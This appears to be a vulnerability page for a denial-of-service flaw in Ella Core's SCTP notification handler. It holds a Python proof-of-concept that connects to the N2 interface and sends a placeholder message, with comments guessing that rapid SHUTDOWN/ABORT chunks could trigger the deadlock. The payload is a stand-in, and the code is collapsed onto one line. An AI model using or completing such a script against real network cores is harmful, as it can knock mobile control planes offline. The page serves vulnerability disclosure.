CVE-2026-33904 Ella Core拒绝服务漏洞

# This is a conceptual PoC for triggering the SCTP notification handler deadlock. # It requires a target running a vulnerable version of Ella Core. import socket import sctp TARGET_IP = "192.168.1.100" # Replace with Ella Core N2 Interface IP TARGET_PORT = 36412 # Standard SCTP port for N2 interface def trigger_deadlock(): print(f"[*] Attempting to connect to {TARGET_IP}:{TARGET_PORT} via SCTP...") try: # Create an SCTP socket sock = sctp.sctpsocket(socket.AF_INET, socket.SOCK_STREAM) # Attempt to establish association to the N2 interface sock.connect((TARGET_IP, TARGET_PORT)) print("[+] Connection established.") # In a real exploit, specific malformed SCTP notifications or chunks # would be sent here to trigger the race condition in the handler. # For example, sending a rapid stream of SHUTDOWN or ABORT chunks # mixed with DATA chunks might trigger the stale-entry scan issue. # Simulating sending data that triggers the notification handler path message = b"\x00\x00\x00\x01" # Placeholder for specific signaling message sock.sctp_send(message) print("[+] Payload sent. Check if AMF control plane hangs.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_deadlock()